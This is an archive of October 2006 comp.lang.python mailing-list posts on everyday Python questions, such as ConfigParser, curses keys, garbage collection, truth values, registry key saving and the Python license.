Date: Thu, 19 Oct 2006 19:47:37 +0200
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <XpOZg.15950$UG4.1118@newsread2.news.pas.earthlink.net>
References: <mailman.760.1161275432.11739.python-list@python.org>
	<XpOZg.15950$UG4.1118@newsread2.news.pas.earthlink.net>
Message-ID: <eh8dnq$4fm$1@sea.gmane.org>

Dennis Lee Bieber wrote:

> 	ONE usage... The old intro-to-programming Palindrome detector
> becomes a very simple assignment given an easy means of reversing a
> string (vs the "expected" loop comparing from the ends in to the center)

you mean like

 >>> s = "a man a plan a canal panama"
 >>> if list(s) != list(reversed(s)):
...     print repr(s), "is not a palindrome"
...
'a man a plan a canal panama' is not a palindrome

?

</F>



From hanumizzle at gmail.com  Wed Oct 11 04:49:26 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 04:49:26 -0400
Subject: How to write Smart Python programs?
In-Reply-To: <452cae13$0$24783$426a74cc@news.free.fr>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
Message-ID: <463ff4860610110149u740a967btbe3822d257b5806e@mail.gmail.com>

On 10/11/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:

> 2/ functions that returns a status code and modify their arguments.

Argument modification for lists with one item is *sometimes* used to
emulate full lexical closure. (or at least that's what the folks on
freenode #python told me)

-- Theerasak


From hg at nospam.com  Wed Oct 11 13:46:49 2006
From: hg at nospam.com (hg)
Date: Wed, 11 Oct 2006 12:46:49 -0500
Subject: nntplib tutorial
Message-ID: <IeaXg.12230$Go3.4402@dukeread05>

Hi,

Is there such a thing ?

Trying to understand the various strings I get hereunder

Thanks,

hg



from nntplib import *


s = NNTP('news.central.cox.net')
resp, count, first, last, name = s.group('comp.lang.python')
print 'Group', name, 'has', count, 'articles, range', first, 'to', last
resp, subs = s.xhdr('subject', first + '-' + last)
for id, sub in subs[-10:]:
    print id
    for article in  s.article(id):
        print dir(article)


From larry.bates at websafe.com  Fri Oct 27 11:04:26 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 27 Oct 2006 10:04:26 -0500
Subject: Configfile
In-Reply-To: <mailman.1357.1161957760.11739.python-list@python.org>
References: <mailman.1357.1161957760.11739.python-list@python.org>
Message-ID: <45421FFA.602@websafe.com>

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> HI,
> 
> I've a small doubt regarding the way to save a configuration file on the file 
> manipulated by ConfigParser.
> As far as I could understand this:
> 
> cp = ConfigParser.ConfigParser
> cp.set(section,option)
> 
> will it do the set on the file or do I have to issue a "cp.write(fp)" in order 
> to get it done?
> My tests didn't resulted positively.
> 
> F
> 
> 
Yes you have to get a file pointer (fp) and do the write as you noted.

Also to get instance of ConfigParser you need:

cp = ConfigParser.ConfigParser()  (note the trailing parenthesis)

If you want to read existing .INI file before doing this you need a
cp.read('filename.ini') somewhere in your code.

-Larry




From aidan at aidans.org  Fri Oct 13 06:05:45 2006
From: aidan at aidans.org (Aidan Steele)
Date: Fri, 13 Oct 2006 20:05:45 +1000
Subject: Thread termination
In-Reply-To: <1160732308.053202.225450@b28g2000cwb.googlegroups.com>
References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com>
Message-ID: <364538570610130305q66563b59j9da3b4fd3701c91d@mail.gmail.com>

G'day,

As far as my understanding pertains, the thread dies shortly after the
function returns (ends). You can call "return" anywhere within the function
and kill the thread in the middle of its execution.

On 13 Oct 2006 02:38:28 -0700, Teja <tejovathi.p at gmail.com> wrote:
>
> Hi all,
>
> Does any one know how to terminate or kill a thread that is started
> with "start_new_thread()" in the middle of its execution?
>
> Any pointers?
>
> Thanks in advance
>
> Teja.
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From sjmachin at lexicon.net  Fri Oct  6 21:29:34 2006
From: sjmachin at lexicon.net (John Machin)
Date: 6 Oct 2006 18:29:34 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <1160183076.034356.292780@i3g2000cwc.googlegroups.com>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
Message-ID: <1160184574.708331.78400@i3g2000cwc.googlegroups.com>


MonkeeSage wrote:
> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
> > it is clearer to you to make the condition explicit ("blah not False"),
>
> "blah not False" -> "blah is False"

Whichever way your team wants to interpret it, d00d.

Please consider whether you should be writing "(blah is False) is
True", that would be more explicit.



From maksim.kasimov at gmail.com  Fri Oct 27 08:22:50 2006
From: maksim.kasimov at gmail.com (Maksim Kasimov)
Date: Fri, 27 Oct 2006 15:22:50 +0300
Subject: How set the source IP adress
Message-ID: <ehstmq$mm8$1@news.lucky.net>

Hi,

how to set source ip-address when do __socket.connect((host, port))
on a machine that have a several ip-adresses?

many thanks for advice.

__socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
__socket.connect((host, port))


-- 
Maksim Kasimov


From RodneyWMcBride at gmail.com  Mon Oct 23 15:08:32 2006
From: RodneyWMcBride at gmail.com (RodneyWMcBride at gmail.com)
Date: 23 Oct 2006 12:08:32 -0700
Subject: _winreg.saveKey question
Message-ID: <1161630512.093547.287390@f16g2000cwb.googlegroups.com>


Reply with quote Edit/Delete this post Delete this post
Post _winreg.SaveKey question
Does anyone know where I might find some sample code of using the
saveKey function? I am getting an error 5 access denied and I think
that it is coming from the way I am specifying the filename as in
_winreg.SaveKey(key, filename). The docs mention that if the key is to
a remote host (which it is in my case) that the path is relative. I
read this as meaning that I should use a unc path back to where I want
to save the registry key file. Here is a section of the code I am
using:

def remoteSaveKey(host, key, file):
rhostreg = _winreg.ConnectRegistry(host, _winreg.HKEY_LOCAL_MACHINE)
remotekey = _winreg.OpenKey(rhostreg, key)
_winreg.SaveKey(remotekey, file)


... from main():

readfile = open('hostlist.txt', 'r')
hostfile = []
for host in readfile:
hostfile += [host.strip()]

for srvname in hostfile:
outputpath = destsrvr + srvname # destsrvr is server/share
outputfile = outputpath + "\\" + srvname
output = remoteSaveKey(hostname, regpath, outputfile)

I am able to connect to the registry and I believe that the key is
being specified correctly, but I am getting the following error:

Traceback (most recent call last):
File "main.py", line 40, in ?
output = remoteSaveKey(srvname, regpath, outputfile)
File "main.py", line 17, in remoteSaveKey
_winreg.SaveKey(remotekey, file)
WindowsError: [Errno 5] Access is denied

I have searched but have only been able to find documentation with
little to no examples on how to implement the SaveKey function with a
remote host. Any help will be appreciated.

thx



From irmen.NOSPAM at xs4all.nl  Sun Oct 22 14:12:07 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Sun, 22 Oct 2006 20:12:07 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453BB122.1020100@laposte.net>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
	<453BB122.1020100@laposte.net>
Message-ID: <453bb479$0$337$e4fe514c@news.xs4all.nl>

Jean-Fran?ois Pi?ronne wrote:

> Which Python version, OpenVMS version, IP stack and stack version?

OpenVMS 7.3-2, Python 2.3.5, no idea about IP stack version.

> If you think this is a Python on OpenVMS problem, send me a small
> reproduced anf I will take a look.

I don't have any small case lying around (I can't reproduce it myself
because I lack access to an openVMS machine) but I think you should
be able to reproduce it by slightly altering one of the socket examples
that comes with Python. Just add the MSG_WAITALL to the recv() call:

	something = sock.recv(somesize, socket.MSG_WAITALL)

and you should see it crash with a socket exception.

Mail me offline if you still need running example code (that I think
would expose the problem).

> If you think it's a OpenVMS problem and if you can provide a simple
> reproducer and have a support contract I suggest you call HP, but I
> suspect that if it's not documented the reply would be not (yet?) supported.

I don't have anything to do with HP... the person that reported the
problem to me has, however. He's already aware of the problem.

> May be a workaround is to not use MSG_WAITALL (currently) on OpenVMS and
> in next version I will not defined MSG_WAITALL in the socket module on
> OpenVMS.

How can I detect that I'm running on OpenVMS?


--Irmen


From me at privacy.net  Sat Oct  7 09:12:33 2006
From: me at privacy.net (Simon Morgan)
Date: 07 Oct 2006 13:12:33 GMT
Subject: curses problem reading cursor keys
Message-ID: <4527a7c1$0$21342$db0fefd9@news.zen.co.uk>

Hi,

I'm having trouble with the following code. The problem is that the value
read by getch() when I hit the up or down keys doesn't match curses.KEY_UP
or curses.KEY_DOWN respectively. Other keys, such as 'z' in my example
code, work fine.

I only seem to have this problem when dealing with newly created windows
and not with the standard/default/root one created by curses.wrapper() and
passed to main().

I'd also appreciate any pointers to good tutorials on curses, I've read
the one by awk and esr but found it rather brief and lacking in detail.

Thanks.

import curses

def main(scr):
    status = curses.newwin(1, curses.COLS, 0, 0) status.bkgd('0')
    status.refresh()

    list = curses.newwin(curses.LINES, curses.COLS, 1, 0) list.bkgd('X')
    list.refresh()

    y = 0
    while True:
        c = list.getch()
        if c in (curses.KEY_UP, curses.KEY_DOWN, ord('z')):
            list.addstr("Match!")
        elif c == ord('q'):
            break

curses.wrapper(main)


From fredrik at pythonware.com  Sun Oct  1 11:46:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 17:46:57 +0200
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <7935541.1159716179929.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
References: <7935541.1159716179929.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
Message-ID: <efontk$59s$1@sea.gmane.org>

charlie strauss wrote:

> Could you clarify that for me.  GC really has three components
 > two it:  1) finding and freeing unrefernced memory by refer
 > refer counts 2)  cycle removal and 3)  defragementing the
 > storage stack.  If I turn off GC, don't I lose all of these?

CPython always does (1), only does (2) if cycle-breaking GC isn't 
disabled, and never does (3).

in your case, it's (2) that takes more and more time, simply because 
you're creating tons of non-trivial objects.  to see what's going on in 
there, add

     import gc
     gc.set_debug(gc.DEBUG_STATS)

to the top of your program, and look at the status messages that appear 
just before each "Big Gap" message.

</F>



From tuomas.vesterinen at pp.inet.fi  Sun Oct 22 14:31:22 2006
From: tuomas.vesterinen at pp.inet.fi (Tuomas)
Date: Sun, 22 Oct 2006 18:31:22 GMT
Subject: pylint: What's wrong with the builtin map()
In-Reply-To: <ehgc24$6vh$1@news.albasani.net>
References: <MnO_g.219$P33.22@read3.inet.fi> <ehgc24$6vh$1@news.albasani.net>
Message-ID: <_NO_g.236$P33.29@read3.inet.fi>

Georg Brandl wrote:
> Some people think that all occurences of map() must be replaced
> by list comprehensions. The designer of pylint seems to be
> one of those.

So it seems, but why? Formally spoken we ase "using variable 'x' before 
assigment" in the comprehension too.

#!/usr/bin/python
"""test pydev_0.9.3/../pylint"""
__revision__ = "test_mod 0.2 by TV 06/10/22"

lst = ['aaa', ' bbb', '\tccc\n']
# lst = (lambda x: x.strip(), lst) # revision 0.1
lst = [x.strip() for x in lst]

result = """revision 0.1:
No config file found, using default configuration
************* Module test_mod
W:  6: Used builtin function 'map'
E:  6: Using variable 'x' before assigment
...

revision 0.2:
...
Your code has been rated at 10.00/10 (previous run: -10.00/10)
"""


From no-spam at no-spam-no-spam.com  Fri Oct 27 06:26:03 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Fri, 27 Oct 2006 12:26:03 +0200
Subject: conditional computation
In-Reply-To: <4541369b$0$2875$426a74cc@news.free.fr>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<mailman.1292.1161892930.11739.python-list@python.org>
	<ehr562$251c$1@ulysses.news.tiscali.de>
	<4541369b$0$2875$426a74cc@news.free.fr>
Message-ID: <ehsmrt$2b8i$1@ulysses.news.tiscali.de>

Bruno Desthuilliers wrote:
> robert a ?crit :
> (snip)
>> class MemoCache(dict): # cache expensive Objects during a session 
>> (memory only)
>>    def memo(self, k, f):
>>        try: return self[k]
>>        except KeyError:            #<--------- was error 
>>            return self.setdefault(k, f())
>> cache=MemoCache()
>> ...
>>
>> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr )
>>
> 
> And how do you get back the cached value without rewriting both 
> complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ?

the complex-key-expr is written only once in the code - execution inevitable.

expensive-calc-expr is  written only once in code and expensive execution (I have mostly matrix math) is only done at "f()" time.


-robert


From g.brandl-nospam at gmx.net  Sun Oct 29 02:26:23 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sun, 29 Oct 2006 08:26:23 +0100
Subject: question about True values
In-Reply-To: <87u01oug78.fsf@nandi.2wire.net>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
	<mailman.1386.1162001801.11739.python-list@python.org>
	<pan.2006.10.28.06.28.46.427735@REMOVE.THIS.cybersource.com.au>
	<ei0ih8$2pq$1@chiara.aioe.org> <87u01oug78.fsf@nandi.2wire.net>
Message-ID: <ei1hkb$36i$1@news.albasani.net>

Chetan wrote:
>> Steven D'Aprano wrote:
>> > On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote:
>>  >
>> >>> Finally, while True/False is a good mental mapping for numeric comparisons,
>> >>> take the following:
>> >>>
>> >>>  >>> if "Cliff is a pillar of the open source community":
>> >>> ....	print "thank you"
>> >>> .... else:
>> >>> ....	print "bugger off"
>> >>>
>> >>> bugger off
>> >>>
>> 
>> First off, even though nobody has called me on it, this example really prints
>> "thank you", not "bugger off".  I got confused in my cutting and pasting.
>> Sorry about that.
>> 
>> 
>> >>> Clearly this is not true.  (Google Cliff/Dyer open source: only 11 hits.),
>> >>> but the string is *something* so the if block gets evaluated.
>> >>>
>> >>   >>> if "The above example was bollocks":
>> >>   ...   print "You don't know what you are talking about"
>> >>   ... else:
>> >>   ...   print "Sorry: of course you are perfectly correct"
>> >>   ...
>> >> You don't know what you are talking about
>> > Cliff is making a point about semantics, and he's absolutely correct about
>> > it, although it is irrelevant since we're talking about two-value logic
>> > not semantics.
>> Cheers,
>> Cliff
> 
> I am joining after some network downtime here, so I seem to have missed what
> the real issue here is. At the risk of being completely irrelevant to the 
> discussion here, I think it doesn't seem to be just about something or 
> nothing - is None something or nothing? It seems to be neither:

If is, of course, nothing. You may have misunderstood the semantics of the
"and" and "or" operators.

>>>> None
>>>> None and True
>>>> None or True
> True
>>>> None and False
>>>> None or False
> False
>>>> False or None
>>>> False and None
> False
>>>> True and None
>>>> True or None
> True
>>>> not None
> True

x and y     | x something | x nothing
---------------------------------------
y something | y           | x
y nothing   | y           | x

x or y      | x something | x nothing
---------------------------------------
y something | x           | y
y nothing   | x           | y


Georg


From inq1ltd at verizon.net  Thu Oct 26 11:00:40 2006
From: inq1ltd at verizon.net (jim-on-linux)
Date: Thu, 26 Oct 2006 11:00:40 -0400
Subject: Slightly OT: Is pyhelp.cgi documentation search broken?
In-Reply-To: <ehppm4$md4$1@news.lysator.liu.se>
References: <ehppm4$md4$1@news.lysator.liu.se>
Message-ID: <200610261100.40407.inq1ltd@verizon.net>

On Thursday 26 October 2006 04:01, you wrote:
> Hi!
>
> For a number of days I haven't been able to
> search the online python docs at:
>
> http://starship.python.net/crew/theller/pyhelp.
>cgi
>

Joel, 


Try here,
py2exe-users at lists.sourceforge.net

jim-on-linux
http://www.inqvista.com



> that is the "search the docs with" link at this
> page:
>
> http://www.python.org/doc/
>
> Instead of the search engine, I get Error 404.
> This is a real bother for me, since I rely
> heavily on it for my work.
>
> Is it broken? If so, is anybody trying to get
> it back up again, and what's the time scale in
> that case? Is there an alternative available
> somewhere?
>
> Cheers!
> /Joel Hedlund


From effigies at gmail.com  Sat Oct 14 23:32:42 2006
From: effigies at gmail.com (Chris Johnson)
Date: 14 Oct 2006 20:32:42 -0700
Subject: Ok. This IS homework ...
In-Reply-To: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
Message-ID: <1160883162.377983.168180@m73g2000cwd.googlegroups.com>


spawn wrote:
> but I've been struggling with this for far too long and I'm about to
> start beating my head against the wall.
>
> My assignment seemed simple: create a program that will cacluate the
> running total of user inputs until it hits 100.  At 100 it should stop.
>  That's not the problem, in fact, that part works.  It's the adding
> that isn't working.  How can my program add 2 + 7 and come up with 14?
>
> I'm posting my code (so that you may all laugh).  If ANYONE has any
> ideas on what I'm doing wrong, I'd appreciate.
>
> ---------------------------------------------------
>
> running = True
> goal = 100
>
> # subtotal = 0
> # running_total = subtotal + guess
>
> while running:
> 	guess = int(raw_input('Enter an integer that I can use to add : '))
> 	subtotal = guess
>
> 	while running:
> 		guess = int(raw_input('I\'ll need another number : '))
> 		running_total = guess +	subtotal
> 		print running_total
>
> 		if running_total == goal:
> 			print 'Congratulations!  You\'re done.'
>
> 		elif running_total > goal:
> 			print 'That\'s a good number, but too high.  Try again.'
>
> print 'Done'

A couple things:
1) I don't understand this looping structure. When the inner one ends,
the outer one will as well, and will never repeat.
2) As to why 2 + 7 gets you 14, subtotal is a shallow copy of guess, so
I speculate that the second assignment to guess doesn't change the
address, but inserts a new value into the old address. The upshot being
that you have guess and subtotal pointing to the same second value. If
I were you I would rewrite that bit as:

guess1 = int(raw_input('Enter an integer that I can use to add : '))
while running:
	guess2 = int(raw_input('I\'ll need another number : '))
	total = guess1 + guess2

(Your original assignments were confusing, using the same variables in
different contexts, and throwing in extra variables for no obvious
reason. This way it is clear what's being done, and it's easy to see
whether what's being done is what you want.)

Reading your description, that's not what you want. You want to
accumulate, so you'll want subtotal to be increasing each time a decent
guess is input. You want to quit when you reach 100, but you never set
running to False.

> --------------------------
>
> I tried adding an additional "while" statement to capture the second
> number, but it didn't seem to solve my problem.  Help!



From bignose+hates-spam at benfinney.id.au  Wed Oct 11 01:44:05 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 15:44:05 +1000
Subject: sufficiently pythonic code for testing type of function
References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
Message-ID: <87vemr76fu.fsf@benfinney.id.au>

"Theerasak Photha" <hanumizzle at gmail.com> writes:

> I wrote this for someone else to take an object and list of types,
> then check if obj is one of those types, raising an error otherwise.
>
> Is it enough to rely on side effects or absence thereof, or should I
> put return True in here somewhere?
>
> def test_obj_type(obj, types):
>   for type in types:
>     if isinstance(obj, type):
>       break
>     else:
>       raise ValueError, 'object is not in %s' % types

Why have you re-implemented (a less-functional version of) 'isinstance'?

    >>> help(isinstance)
    Help on built-in function isinstance in module __builtin__:

    isinstance(...)
        isinstance(object, class-or-type-or-tuple) -> bool

        Return whether an object is an instance of a class or of a subclass thereof.
        With a type as second argument, return whether that is the object's type.
        The form using a tuple, isinstance(x, (A, B, ...)), is a shortcut for
        isinstance(x, A) or isinstance(x, B) or ... (etc.).

    >>> isinstance(3, (int, float))
    True

-- 
 \       "Yesterday I told a chicken to cross the road. It said, 'What |
  `\                                          for?'"  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From peter.maas at somewhere.com  Thu Oct 12 15:24:14 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Thu, 12 Oct 2006 21:24:14 +0200
Subject: Python component model
In-Reply-To: <mailman.343.1160617110.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<pan.2006.10.09.18.24.45.251048@gmx.net>	<452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
Message-ID: <egm4pg$tge$1@online.de>

Peter Decker wrote:
> I think you should take a good look at Dabo and the visual tools they
> are creating.

Thanks for the hint, Peter. I've heard of Dabo and it's on my list of
things to be inspected. Perhaps my postings have been misunderstood. I don't
feel uneasy with Python. I'm using it since 4 years and know how to find
the tools I need. But I feel uneasy with an excessive readiness of some
c.l.p participants to accept Python as it is and even to react defiantly
on friendly suggestions how to make Python a more obvious choice for
newcomers. I think this is important for Python's survival.

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From fredrik at pythonware.com  Tue Oct 17 12:04:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 18:04:49 +0200
Subject: Return returns nothing in recursive function
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAB60@UKEX01.Digica.local>
References: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAB60@UKEX01.Digica.local>
Message-ID: <eh2uv1$4t7$1@sea.gmane.org>

Matthew Warren wrote:

> I have the following code that implements a simple recursive tree like
> structure.
> 
> The trouble is with the GetTreeBranch function, the print statement
> prints a valid value but the return immediatley afterward doesn't return
> anything.

hint: how many "return" statements do you see in this piece of code:

            else:
                 GetTreeBranch(path[1:],item[path[0]])

</F>



From steve at REMOVE.THIS.cybersource.com.au  Sun Oct  8 06:57:46 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 08 Oct 2006 20:57:46 +1000
Subject: Can't get around "IndexError: list index out of range"
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>
	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>
Message-ID: <pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>

On Sat, 07 Oct 2006 18:06:47 -0700, MonkeeSage wrote:

> On Oct 7, 7:59 pm, Steven D'Aprano
> <s... at REMOVE.THIS.cybersource.com.au> wrote:
>> Because they aren't needed often, and when they are, they are easy to
>> implement?
> 
> More often and easier to implement than dict.has_key / get?

No, *less* often. That's the point -- it is fairly common for people to
want dictionary lookup to return a default value, but quite rare for them
to want sequence lookup to return a default value. A sequence with a
default value would be, in some sense, equivalent to an infinite list:

[A, B, ... , Z, default, default, default, ... ]

where the A...Z are actual values. (Obviously you don't actually have an
infinite list.) 

I can't think of any practical use for such a thing; the only thing that
comes close is in some Cellular Automata it is sometimes useful to imagine
cells out of range to be always in some default state. But generally
speaking, you don't implement Cellular Automata with lists.



>> It is hard to see where list.get(index, default) would be useful, since
>> accessing an index out of range of a list is generally an error, unlike
>> accessing a missing key.
> 
> Uh, no. KeyError.

dict.get() doesn't raise KeyError. That's the whole point of get(), it
returns a default value instead of raising KeyError.


>> Not every piece of functionality needs to be a built-in.
> 
> Agreed. but why implement a certain functionality in one place but leave
> it out of another?

Because implementation requires time and effort. It makes the regression
tests more complicated and bloats the code base. If the feature doesn't
scratch anybody's itch, if there isn't a clear use for it, it won't be
implemented. If you don't care enough to even make a formal feature
request, let alone a PEP, then why should people who care even less
actually write the code?


-- 
Steven.



From MonkeeSage at gmail.com  Tue Oct  3 08:47:53 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 3 Oct 2006 05:47:53 -0700
Subject: was python implemented as a object oriented langage at the
	beginning ?
References: <f3a8ca7c0610030506k2fb6040ai9e256049ebf9100e@mail.gmail.com>
	<mailman.1162.1159878320.10491.python-list@python.org>
Message-ID: <1159879673.081812.124460@i3g2000cwc.googlegroups.com>

 Bertrand Ballis wrote:
> I heard a lot of people from the Ruby community claiming that Python, like
> Perl, was a scripting langage that was changed aftewards to be object
> compatible, and that was making it not as good as Ruby, object-oriented
> from the begenning.

Sounds like a bunch of hooey on both counts ("alot of people claiming"
and "python not OO"). The python object system is closer to C++, ruby's
is closer to SmallTalk; but they are both OO (i.e., everything is an
object), and support all the OOP distinctives (i.e., encapsulation,
abstraction, &c) -- just because a language doesn't implement OO in the
exact same way as another doesn't mean it isn't OO -- it just means
it's a different language. Sounds like mabye you heard a few ruby
zealots who didn't know what they were talking about.

Regards,
Jordan



From tim.peters at gmail.com  Sun Oct  8 21:26:09 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 8 Oct 2006 21:26:09 -0400
Subject: Python license question
In-Reply-To: <1160353411.470511.307190@c28g2000cwb.googlegroups.com>
References: <1160353411.470511.307190@c28g2000cwb.googlegroups.com>
Message-ID: <1f7befae0610081826o235e7ecfxffec8ea76cc71649@mail.gmail.com>

[Martitza]
|> Hi.  I work for a small company (actually in process of forming)
> interested in embedding or extending python as part of our commercial
> non-open-source product.  We have legal counsel, but are interested in
> the spirit as well as the letter of the law.  Not much seems to have
> been written about the python license since version 2, so pointers to
> more recent discussions or contacts are appreciated.  If this is not
> the right place to ask these questions, I would welcome better ideas.
>
> We've read the license and "layman's language" at
> http://www.python.org/psf/license/ and are need help reconciling the
> two.

There's also the informal license FAQ:

    http://wiki.python.org/moin/PythonSoftwareFoundationLicenseFaq

I'm not a lawyer, so can't give legal advice.  I can explain intent,
speaking as a Director of the Python Software Foundation.

> First Observation
> The entire license -- such as produced by license() -- includes a lot
> of information which appears to be historical or anecdotal, not the
> kind of language our lawyers usually see in licensing agreements.
> Lawyers claim they don't like "extra" language.  You be the judge.  :)

Section A (HISTORY OF THE SOFTWARE) isn't really part of the license.
But because the PSF doesn't have the right to /re/license the portions
of Python copyright by CWI, CNRI, or BeOpen.com, the history given
there can be helpful if anyone is inclined to spend (IMO) too much
time worrying about the licenses.

> First Question
> Is all of that information really a required part of the license we
> pass on to our customers or is the "PYTHON SOFTWARE FOUNDATION
> LICENSE VERSION 2" portion sufficient?

Section A is not required.  All of section B is required.  Parts of
Python are copyrighted by, and licensed by, the four entities whose
licenses appear in section B.

> Second Observation
> Referring to sections 2 and 3 of the PSF License Version 2... Our
> non-open-source product will be a derived work, either by extending or
> embedding the python interpreter.  According to section 3, we will
> briefly summarize these modifications to the python interpreter as
> these relate to our product.  Good.

Indeed ;-)  Note that there are no specific requirements about detail,
and this is really for your benefit:  the more clearly you identify
the parts that are your original work, the easier it will be to prove
it is in fact your work (should that become necessary).

The NEWS file that comes with a Python distribution is the PSF's
version of meeting this requirement (by the similar terms in the CNRI
and BeOpen.com licenses, the PSF is also required to summarize the
modifications the PSF makes!).

> Section 2 says that we (as Licensee of the original python) have to
> include without our modified python a copy of the license.  The License
> explicitly states in section 1 that it is between the PSF and the end
> user.

The phrase "end user" appears nowhere in the license.  You must mean
Licensee.  As a Licensee, you're free (heck, encouraged) to make
derivative works, but you have no legal authority to put a /different/
license on any part of the Python you started with.  In exactly the
same way, the PSF has no legal authority to put a different license on
the versions of Python the PSF started with.

When you distribute your derived work, your "end users" have rights to
use the PSF-copyrighted portion of your work by exactly the same means
you have:  they also become Licensees of the PSF.  And of CNRI, and of
BeOpen.com, and of CWI.

The license you put on your derived work as a whole only controls the
portions of your derived work original with you, and your derived work
as a whole.  You can neither diminish nor increase the rights your end
users have wrt any of the Python code you obtained from the PSF --
that's not your work, you don't have and can't get copyright on it,
and you and your end users have exactly the same rights with respect
to it (as spelled out in the license file you're asking about).

> At the moment, we are the end user.  But when we sell our
> software as a derived work, our customer becomes the end user.  So our
> customers are entering into a direct agreement with PSF.  This
> indemnifies the PSF (sections 4,5,6,7) -- also good.
>
> But there is a side effect of section 2 that would seem to give our
> customers many rights ("to reproduce, analyze, test, perform and/or
> display publicly, prepare derivative works, distribute...") to the
> derived work we created.

I think the licenses are clear about this.  For example, the PSF
license at the top of the stack specifically says it only applies to
"Python 2.4 alone or in any derivative version".  The phrases "alone"
and "in any derivative version" intend to modify "Python 2.4".  It's
not intended to be read as the two separate phrases "Python 2.4 alone"
or "in any derivative version", and I'm not sure it even makes sense
to try to read it that way.

> We would have a problem with our customers distributing our derivative
> work or preparing derivative works of our derivative work.

It can simplify this a lot to remember that the entity holding
copyright on a piece of code is the only entity able to license it.
Thus your license applies to your work, the PSF license applies to the
PSF's work, and so on down the stack.  That's why there /is/ "a
stack":  nobody ever gets to forget about the licenses they started
with, they can only add more licenses to the pile.

> We could of course apply our own restrictive license to things which are truly
> ours,

And definitely should, if that's what you want.

> but we cannot do this to the work derived from python because
> that would conflict with section 2 of the python license.

That's not the intent.

> Second Question
> Can we we prevent our commercial customers from freely redistributing
> or modifying our derived version of python?  The answer seems like "no"
> from the License itself but "yes" from the layman's language.  Of
> course, our lawyers only look at the license.

You set the license on your portion of the work.  While it's hard to
conceive of anyone doing this, one of your customers certainly could
/extract/ pieces original to the PSF Python, and distribute those
(provided they met the PSF license terms, including reproducing the
PSF license).  If they include any of your original work in the
process, and the license you set doesn't allow that, then they're in
violation of your licensing terms.

> Thank you for your time.  Our goal is to understand and be good
> corporate citizens.  We believe python would be a great benefit to our
> customers, and we are looking for a viable business model that allows
> that.

